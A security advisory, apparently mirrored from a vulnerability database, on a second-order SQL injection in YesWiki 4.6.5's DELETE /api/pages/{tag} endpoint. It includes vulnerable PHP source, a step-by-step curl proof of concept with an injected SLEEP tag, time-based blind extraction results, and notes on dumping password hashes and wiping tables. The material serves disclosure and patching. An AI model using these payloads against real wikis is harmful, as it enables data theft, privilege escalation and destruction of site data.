PT-2026-57031 · Packagist · Yeswiki/Yeswiki

Publicado 2026-07-09 · Atualizado 2026-07-09 · CVE-2026-52771

OSV

CVSS v3.1

8.3

Alta

Vetor base

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM … links WHERE to tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.

This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the read-back-and-reuse path, where escaping is omitted.

Details

Affected component

• File: includes/controllers/ApiController.php
• Method: ApiController::deletePage($tag)
• Route: @Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}}) — acl:"+" means any authenticated user.
• Sink: line 626

// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
  $pageManager  = $this->getService(PageManager::class);
  $pageController = $this->getService(PageController::class);
  $dbService   = $this->getService(DbService::class);
  ...
  try {
    $page = $pageManager->getOne($tag, null, false);   // (a) safe SELECT
    if (empty($page)) { ... } else {
      $tag = isset($page['tag']) ? $page['tag'] : $tag;//  ^ raw tag from DB
      $result['notDeleted'] = [$tag];
      if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
        if (!$pageManager->isOrphaned($tag)) {
          $dbService->query(
            "DELETE FROM {$dbService->prefixTable('links')}
             WHERE to tag = '$tag'");      // (b) SINK — unescaped
        }
        ...

The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:

• tools/tags/handlers/page/ deletepage.php line 14 - DELETE … WHERE to tag = '$tag', where $tag = $this->GetPageTag() is again the raw stored tag.
• handlers/page/deletepage.php lines 93–94 - LoadAll('SELECT DISTINCT from tag FROM …links WHERE to tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.

The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler

A low-privilege account can carry the whole chain:

1. Plant — POST /api/pages/{evil} with body=anything. PageManager::save() escapes the tag at INSERT time (''' in SQL ⇒ stored '), so the tag persists with its single quote intact. The new page is owned by the attacker, so UserIsOwner($tag) in the delete handler will return true.
2. Make non-orphaned — save any second page whose body contains {{include page="<evil>"}} through the web edit handler. LinkTracker::preventTrackingActions() parses the include directive, looks up the referenced page (PageManager::getOne() finds it because lookup uses escape(), which matches the stored quote), and LinkTracker::persist() inserts a row (from tag='Linker', to tag='<evil>') into links — again with escape() on the way in, so the raw quote round-trips.
3. Trigger — DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns $tag = $page['tag'] (the raw stored value, including '), runs isOrphaned($tag) (escaped SELECT, returns not orphaned because step 2 inserted a row), and then runs the unescaped DELETE FROM … links WHERE to tag = '$tag'. The SQL parser sees the attacker-controlled ' as the end of the string literal; everything after it is treated as SQL.

The injection point is WHERE to tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.

End to End Steps to reproduce the issue

1. Preflight

• lab is up at http://localhost:8085

2. Logging in

• admin 'WikiAdmin' and low-priv 'TestUser01' both logged in

3. Tier 1 - POST /api/pages/ (as TestUser01)

• PROOF: tag stored RAW in yeswiki pages → 'SleepTag' OR SLEEP(2)-- '

4. Tier 2 - make the evil page non-orphaned

• PROOF: yeswiki links row → LinkPoc->SleepTag' OR SLEEP(2)--

5. Tier 2 - DELETE /api/pages/ (as TestUser01)

• baseline (non-existent tag) : 0.468s
• exploit (SLEEP(2) in tag) : 2.555s
• delta : 2.087s
• PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626

6. Tier 3 - time-based blind data exfiltration

• char='w' elapsed=0.505s miss
• char='x' elapsed=0.495s miss
• char='y' elapsed=3.522s <- HIT
• char='z' elapsed=0.662s miss
• PROOF : conditional SLEEP fired only for 'y'

RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.

PoC

Pre Reqs

Had the following things setup in advance:

1. Yeswiki v4.6.5 lab image (Setup via podman)
2. Admin & User Account setup.

Parts used across PoC:

• Site responding at http://localhost:8085
• Admin account: WikiAdmin / AdminPoc12345
• Low-priv account: TestUser01 / TestPass12345 (this is the attacker)

For the rest of this document, set:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki "
CJ=/tmp/yw user.txt    # cookie jar for our low-priv attacker

Confirm the vulnerable line is actually there:

podman exec "$CTR" 
  grep -n "DELETE FROM.*links.*WHERE to tag" 
  /var/www/html/includes/controllers/ApiController.php

Expected output:

626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to tag = '$tag'");

Log in as the low-privilege attacker. We will get the session in return

rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" 
   --data-urlencode "action=login"  --data-urlencode "context=LoginPoc" 
   --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" 
   --data-urlencode "remember=1"

# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess ${SID}"

Plant a page whose tag contains SQL meta-characters.

The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.

EVIL TAG="SleepTag' OR SLEEP(2)-- "
EVIL ENC=$(printf '%s' "$EVIL TAG" | 
  podman exec -i "$CTR" php -r 'echo rawurlencode(file get contents("php://stdin"));')

echo "raw tag   : $EVIL TAG"
echo "URL-encoded : $EVIL ENC"

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL ENC}" 
   --data-urlencode "body=poc"

• The API accepted a tag with a literal ' and SQL keywords, completely unsanitized.
• The single quote round-tripped through PageManager::save()'s escape() and is now sitting in the database byte-for-byte as SleepTag' OR SLEEP(2)-- — exactly what an attacker needs the read-back to return.
• TestUser01 is the owner, so the eventual UserIsOwner($tag) check in the delete handler will pass for them.

Now, create a second page that will link to the evil page

The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to tag somewhere in the links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.

First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):

curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" 
   --data-urlencode "body=placeholder"

# Grab its id — we'll need it for the edit form's hidden "previous" field
LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e 
  "SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';")
echo "LinkPoc id = $LINKID"

Make the evil page non-orphaned (web edit handler)

Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/ edit.php would normally require a hashcash token, but env/install.sh disables use hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.

NEW BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1'

curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" 
   --data-urlencode "submit=Sauver" 
   --data-urlencode "previous=${LINKID}" 
   --data-urlencode "body=${NEW BODY}"

• The web edit handler called LinkTracker::registerLinks($page, false, false) (handlers/page/edit.php:69).
• registerLinks() formatted the page body and reached preventTrackingActions() (includes/services/LinkTracker.php:160).
• That regex extracted SleepTag' OR SLEEP(2)-- from {{include page="…"}}, called PageManager::getOne(<extracted>) which found the page (lookup uses escape(), so a stored ' still matches), and called $this->add($page['tag']).
• LinkTracker::persist() then inserted (from tag='LinkPoc', to tag='<evil tag, raw quote>') into links.

Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.

We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:

T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null
T1=$(date +%s.%N)
awk "BEGIN{printf "baseline elapsed: %.3fs
", $T1-$T0}"

Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.

Trigger the SQLi (Tier 2 - the actual vulnerability fires)

Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns not orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:

DELETE FROM yeswiki links WHERE to tag = 'SleepTag' OR SLEEP(2)-- '
                        ^^^ ^^^^^^^^^^^^^^^^
                        |  injected SQL
                        breakout

SLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.

T0=$(date +%s.%N)
curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL ENC}" -o /tmp/yw del.json
T1=$(date +%s.%N)
awk "BEGIN{printf "exploit elapsed: %.3fs
", $T1-$T0}"

echo "--- response ---"
cat /tmp/yw del.json; echo

Expected output (the precise timing varies by host, but the delta relative to step 6 is what matters):

exploit elapsed: 2.555s
--- response ---
{"deleted":["SleepTag' OR SLEEP(2)-- "]}

Impact

• Blind extraction of any column the wiki database account can read: user password hashes ( users.password), email addresses, ACLs ( acls.list), private page bodies ( pages.body), database session data, etc.
• The sink is a DELETE; an attacker can append OR 1=1-- to wipe the entire links table, breaking inter-page navigation site-wide. The path can also be combined with UNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive).
• SLEEP() per row scales with link-table size; a malicious tag with SLEEP(60) on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool.
• users.password hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE

Correção

SQL injection

Enumeração de Fraquezas

CWE-89

Identificadores relacionados

CVE-2026-52771

GHSA-8F2V-2QHJ-GFWG

Produtos afetados

Yeswiki/Yeswiki

Referências · 4

• https://github.com/YesWiki/yeswiki/security/advisories/GHSA-8f2v-2qhj-gfwg · Nota
• https://github.com/YesWiki/yeswiki · Nota
• https://github.com/YesWiki/yeswiki/commit/23d3cc124613b9428ab963b31807c08879a9c631 · Nota
• https://osv.dev/vulnerability/GHSA-8f2v-2qhj-gfwg · Aviso do Fabricante